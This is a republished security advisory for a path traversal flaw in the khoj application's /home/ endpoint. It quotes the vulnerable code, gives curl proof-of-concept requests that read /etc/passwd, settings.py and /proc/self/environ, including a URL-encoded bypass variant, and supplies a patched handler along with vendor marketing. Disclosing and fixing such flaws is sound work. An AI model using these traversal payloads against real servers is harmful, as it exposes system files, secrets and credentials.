Summary
khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystem
The /home/{file_path:path} endpoint in web_client.py serves static files by directly concatenating the user-supplied file_path with the home_directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.
Details
Vulnerable code, src/khoj/routers/web_client.py lines 46-49:
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
"""Serve static files from the home landing page directory"""
return FileResponse(constants.home_directory / file_path)
Where home_directory is defined in src/khoj/utils/constants.py line 6:
home_directory = web_directory / "home/"
What is missing:
- No
..traversal filtering - No path normalization/resolution check (e.g.,
resolved.is_relative_to(home_directory)) - No authentication decorator (
@requires(["authenticated"])is absent) - Starlette's
FileResponsedoes NOT perform path traversal protection
Path resolution:
Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd
PoC
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd
# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py
# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
URL-encoded variant (may bypass some reverse proxy normalization):
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Impact
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:
- Read application configuration, Django
SECRET_KEY, database credentials, API keys - Read system files,
/etc/passwd,/etc/shadow(if permissions allow),/proc/self/environ - Exfiltrate sensitive data, Any file readable by the server process
- Facilitate further attacks, Leaked credentials enable deeper compromise
No authentication required, the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Use FastAPI's built-in StaticFiles mount instead of a custom handler, or add explicit path validation:
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
resolved = (constants.home_directory / file_path).resolve()
if not resolved.is_relative_to(constants.home_directory.resolve()):
raise HTTPException(status_code=404)
return FileResponse(resolved)
Frequently Asked Questions
- What is GHSA-62MM-XWMV-CRHG? GHSA-62MM-XWMV-CRHG is a high-severity path traversal vulnerability in khoj (pip), affecting versions >= 2.0.0-beta.23, < 2.0.0-beta.25. It is fixed in 2.0.0-beta.25. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of khoj are affected by GHSA-62MM-XWMV-CRHG? khoj (pip) versions >= 2.0.0-beta.23, < 2.0.0-beta.25 is affected.
- Is there a fix for GHSA-62MM-XWMV-CRHG? Yes. GHSA-62MM-XWMV-CRHG is fixed in 2.0.0-beta.25. Upgrade to this version or later.
- Is GHSA-62MM-XWMV-CRHG exploitable, and should I be worried? Whether GHSA-62MM-XWMV-CRHG is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-62MM-XWMV-CRHG is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-62MM-XWMV-CRHG? Upgrade
khojto 2.0.0-beta.25 or later.